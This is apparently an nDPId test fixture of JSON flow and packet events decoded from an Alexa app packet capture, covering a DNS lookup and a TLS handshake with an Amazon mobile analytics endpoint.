+00425{"flow_id":145,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2695,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":753116,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoAqdAAOcGZp827xyyrBAq2AG7xnDcpmGETg8GDFAQf+mq7wAAAAAAAAAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2698,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1490976186818,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":8669,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2698,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":818047,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"AMDKkaPvePiC0\/vCCABFAABVWmJAAEARMzysECrYrBAqASHdADUAQT24ItEBAAABAAAAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQAB"} +00667{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2698,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1490976186818,"flow_last_seen":0,"flow_tot_l4_data_len":65,"flow_min_l4_data_len":65,"flow_max_l4_data_len":65,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":8669,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00502{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2701,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":879188,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl6vpAAEARopOsECoBrBAq2AA1Id0AUTsIItGBgAABAAEAAAAAD21vYmlsZWFuYWx5dGljcwl1cy1lYXN0LTEJYW1hem9uYXdzA2NvbQAAAQABwAwAAQABAAAAIgAENu8XXg=="} +00693{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2701,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":146,"flow_packet_id":2,"flow_first_seen":1490976186818,"flow_last_seen":1490976186879,"flow_tot_l4_data_len":146,"flow_min_l4_data_len":65,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":8669,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mobileanalytics.us-east-1.amazonaws.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.23.94"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2702,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1490976186884,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.23.94","src_port":44912,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2702,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":884448,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8flZAAEAGlzCsECrYNu8XXq9wAbvy\/\/kGAAAAAKAC\/\/\/9UAAAAgQFtAQCCAoA9odQAAAAAAEDAwg="} +00429{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2703,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":52905,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwqiJAAOcGxG827xderBAq2AG7r3A+ML0a8v\/5B3ASH\/6mVwAAAgQFtAEDAwY="} +00417{"flow_id":147,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2705,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":55606,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofldAAEAGl0OsECrYNu8XXq9wAbvy\/\/kHPjC9G1AQAVfwyAAA"} +00725{"flow_id":147,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2706,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":57117,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AMDKkaPvePiC0\/vCCABFAAELflhAAEAGll+sECrYNu8XXq9wAbvy\/\/kHPjC9G1AYAVc9QAAAFgMBAN4BAADaAwOYirXhV1FDzrGLqmFF+8oxLuoLV0r4D7tvlmDsmzXE4AAAIJqazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAkbq6AAD\/AQABAAAAACwAKgAAJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACIqKAB0AFwAY6uoAAQA="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2706,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":147,"flow_packet_id":4,"flow_first_seen":1490976186884,"flow_last_seen":1490976187057,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.23.94","src_port":44912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":147,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2707,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":161798,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYjtAANsGGF827xderBAq2AG7r3A+ML0b8v\/5B1AQARzxAwAAAAAAAAAA"} +00425{"flow_id":147,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2708,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":166204,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYjxAANsGGF427xderBAq2AG7r3A+ML0b8v\/56lAQASzwEAAAAAAAAAAA"} +02382{"flow_id":147,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2709,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":167875,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcYj1AANsGEqk27xderBAq2AG7r3A+ML0b8v\/56lAQASy9KwAAFgMDAGwCAABoAwNbBWc9dFwyg7R8D846Z8gXXa0hCYfOUzPVTTGKEYz7mCBWqOpK0LXlu6pJqBfewEUvBs6zfstxucxnjHGkFbCwocAvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLXAsAC1gAC1UABhMwggYPMIIE96ADAgECAhA4NltvtzQZFjv8ve7WrL1kMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwNTMxMDAwMDAwWhcNMTcwNjI2MjM1OTU5WjCBgTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxGTAXBgNVBAoMEEFtYXpvbi5jb20sIEluYy4xMDAuBgNVBAMMJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKXcGbXxOrpLbSVz1WkSGdOoQe5mOSrPSipk7JhfXK7xeLV9EIeNBuFrZZ2JZEF\/T4BDidLNCjBenxkICR9k1ltsHLlgk98tozeORSexEAFwZZZ9s8DgT4svJHN6DknTZB33LMrl0uZtYGMYTJtg2i7zDyXDxOLI1n18e+5F2KQpK5furnmaXxpwezrh7zkJJWH83xemhzKvGTf2P7xdwQctiL8MA0GTOV9GzToVw1xTG\/fau1xVatZmUQ6sGqK6xGKs+WZbRF9Mt4qMTd8kDtoCqmVTR+TyHHj2qCp1DarPl6Gd6QI\/kcrSDIB3BKPyHONFqOCqSOb229mecsrdElsCAwEAAaOCAoMwggJ\/MDIGA1UdEQQrMCmCJ21vYmlsZWFuYWx5dGljcy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVQfvs54AAAQDAEYwRAIgCg5bNh62K\/b2zUGTsrOfXRQ2hEOpUa4\/UZNWRL0DuRUCIC9U2rEr7y4HeC90xoTunNK9D9jfY4DC\/G+LRXCIr\/RIAHYApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFVB++ztQAABAMARzBFAiAvW0BkxINB35W5rlhLG8DJboczX1rvev\/2LK5J7Okw4wIhAPdIkpGjTs1LVBwcD6WVj8wFfprle65WhoKwU3rdR0bKMA0GCSqGSIb3DQEBCwUAA4IBAQAuMikuMxAokEDkZMhLHxehHQqRelzQgDZAxTHsf0TNYtQ="} +00814{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2709,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":147,"flow_packet_id":7,"flow_first_seen":1490976186884,"flow_last_seen":1490976187167,"flow_tot_l4_data_len":1855,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.23.94","src_port":44912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02388{"flow_id":147,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2710,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":168572,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcYj5AANsGEqg27xderBAq2AG7r3A+MMLP8v\/56lAQASyh4gAAuezDHJlNCFbTqooOmZYJgXVoab7DiVH\/6Mt5ORjD+xDySm9+wED9xtH3xbzA0EOMEACtHLBqFfq\/1lOc5hgyC\/+63I0ueasZimFAVTpOAfg0DSU7h28WSDMTted26RaIqN4sq1BpVil25TYFZfn5t4iL5IQKiMF1UU0oWKAur7VoeugGIxgnJ84P1ZMLgRYURE4RzooO30lwpIVEKYQDqnaRdo1pWpA3GUHbKgknDnyPO0iRRz+NFJg+3vtrwI58Qsq45pFOscz6uTUx4HuVks5duBZ4NBgwVAlyFWV4FwAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hQ="} +00418{"flow_id":147,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2711,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":169796,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofllAAEAGl0GsECrYNu8XXq9wAbvy\/\/nqPjDCz1AQAWLqJgAA"} +00419{"flow_id":147,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2712,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":170086,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoflpAAEAGl0CsECrYNu8XXq9wAbvy\/\/nqPjDIg1AQAW3kZwAA"} +02387{"flow_id":147,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2713,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":172718,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcYj9AANsGEqc27xderBAq2AG7r3A+MMiD8v\/56lAQASydXwAA3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxxYDAwZRFgAGTQEABkkwggZFCgEAoIIGPjCCBjoGCSsGAQUFBzABAQSCBiswggYnMIGeohYEFEUgAqiLimWfdfr16QoaeNLwNwueGA8yMDE3MDMzMTA0NDUyNlowczBxMEkwCQYFKw4DAhoFAAQU0bFki4yfDdFro4rNK1AX1fnPwGQEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvAhA4NltvtzQZFjv8ve7WrL1kgAAYDzIwMTcwMzMxMDQ0NTI2WqARGA8yMDE3MDQwNzA0NDUyNlowDQYJKoZIhvcNAQEFBQADggEBAJG4mKDAIkHJGohEcAXrjWcL\/X9efPGdSWnIujVQblXj9Sr0T36LlIP6QAecCnTuDUccLdRBVsLBrGLFuSZhZFAr0bCbBDXT6pzyL\/6othUDtcsJOWKfVOFjwAlPelx5E36DQxWy\/UrA8ffDBvCs\/rOG3McAu\/c86V66PK+nEJdWQ333YOD5+Gl2OWY7eiNxGk+60HEQY771HF27aILCKdV1jZAq4q93Td4HzHLhg8\/K21C8odN63ecG5gyRacL8wAMfhIjcpQTkPRcQ8A5YlZlYNVememWqBabsOL1RgB0iJn\/NE9tjFaweytAKzoVCni\/W8cvzyM1Xw0pZim0KetOgggRuMIIEajCCBGYwggNOoAMCAQICEERokGNpSAXWyvb9udHEBSEwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNzAyMDQwMDAwMDBaFw0xNzA1MDUyMzU5NTlaMEAxPjA8BgNVBAMTNVN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0IE9DU1AgUmVzcG9uZGVyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqitCn32+QLqqv0UypRjFp6XQuyZrZxojgGML2TdmIzCun529IQIDjBtay0e+gHzpbxmaV3syrW21bLBjTcwZ8CX3o43Q+I5WjVd4Nkm5dNv1tAtRLFVe7OCfA5sYO5ZVPGllHeqsWMl7wjYDK9M0+OAAZXCXu5WDcZ3mT3VW+fvDRuPEHnMaZhIC5sIh\/POmvUsWf+aBTwm77otPaqw\/WWQ2Xk1sd442vWvW6yqCL\/C89qKaCLli\/9xRNJLDBUiuc5eJ+IoZv9G3gijlABp0b1fC39k5zZSGgZuBwq6H8sP8BgcXJhXpEUTGDBt7VHvtvZeNGqKVsDTiOy9wYTzE6wIDAQABo4IBHDCCARgwDwYJKwYBBQUHMAEFBAIFADAiBgNVHREEGzAZpBcwFTETMBEGA1UEAxMKVEdWLUQtMzg1NzAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zAdBgNVHQ4EFgQURSACqIuKZZ91+vXpChp40vA3C54wDAYDVR0TAQH\/BAIwADBuBgNVHSAEZzBlMGMGC2CGSAGG+EUBBxcDMFQwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCoGCCsGAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIY="} +01168{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2713,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":147,"flow_packet_id":11,"flow_first_seen":1490976186884,"flow_last_seen":1490976187172,"flow_tot_l4_data_len":4855,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":441,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.23.94","src_port":44912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","server_names":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=mobileanalytics.us-east-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"87:AD:E9:2D:E8:42:F0:5C:3A:09:13:00:12:93:59:04:84:C3:E2:2D"}} +01247{"flow_id":147,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2714,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":172885,"pkt_caplen":669,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":669,"pkt_l4_len":635,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKPYkBAANsGFfM27xderBAq2AG7r3A+MM438v\/56lAYASyYKAAA9w0BAQsFAAOCAQEAeBzBYjVYR\/3Xm\/4EwfOmrVReMsKq9MWqVMnqwKTcEKvxEcfj9r7lenG5+58Pp8ADypkNgtf+ZqzyjvgjfIuOqviXUJn291KE7qGEFV2M0OVsYR4o+zIxe7MKrEOgCQGoFkv+ksOL51ITCUibYvsunKIzTBkUNTJ9NdM4wOX9pqrUGyXF08Huuv4VbD0CDCRYJF+euTAxGzMQjtgJozyRXywZtHQsOc3HxX4yUvsT7gfGhKOu6IB9fT+ZJcsrgOB2Xna0B1ygMB51lLP4fpj9u6yqtOTWdNHAiSwQVGvpTmKkcfx3kpaSnUTrUGtcI9PbBQMnkhdhJIzLryF6u4dEDhYDAwFNDAABSQMAF0EEQ6VyXw3F3BqaSdxsypTomXvbT8UlkfxEeIH5uElUa7e+RNuc0fFllPjLQpwlqj89CUiFVp6xB+QQDaPCmIZnRQYBAQAnAJycr1kb4M7WMgvrILEicQKGfL5efEnnRpmhwvnT3dTNTrVFpiXd7YZH10FbyNAAsHWRv5aMmjNfwRzIhunHjy6GrRtw1CGCSqvHY05RTgEK\/fi0e2d0hRimrPq3WGGJkamcsslXCM2U8vCzYsd6e6jl7StxaZckFrEhKOws1JgIEECfXpQtT+HFFdQAEs5a0FppM8AGaGijDjuTOkTLolM68gIkSm0DDrqHfvjUAYVXQ\/uU15yFmlkHBtkcaktPaoJykporWoT09znmbjqWaPSAjAx14ZqtSLXDB\/UUn35NEsZMvrKKimRDC8I4NBRXRQc5RlIUpo56GOKYciK\/FgMDAAQOAAAA"} +00419{"flow_id":147,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2718,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":176303,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofltAAEAGlz+sECrYNu8XXq9wAbvy\/\/nqPjDON1AQAXnepwAA"} +00419{"flow_id":147,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2719,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":176430,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoflxAAEAGlz6sECrYNu8XXq9wAbvy\/\/nqPjDQnlAQAYTcNQAA"} +00590{"flow_id":147,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2720,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":186819,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmfl1AAEAGlr+sECrYNu8XXq9wAbvy\/\/nqPjDQnlAYAYQ72QAAFgMDAEYQAABCQQQzmkwPDnOmIAg3QlRslB1qe+YTVHttWD20laAy60x2Os0B7HSPAVjAA8XjfHKOyza9XZlmTLv3isuTj3jqkskpFAMDAAEBFgMDACgAAAAAAAAAADNZr2CfC7plw22hneymwUt5WU5f307bBv+8beucmggc"} 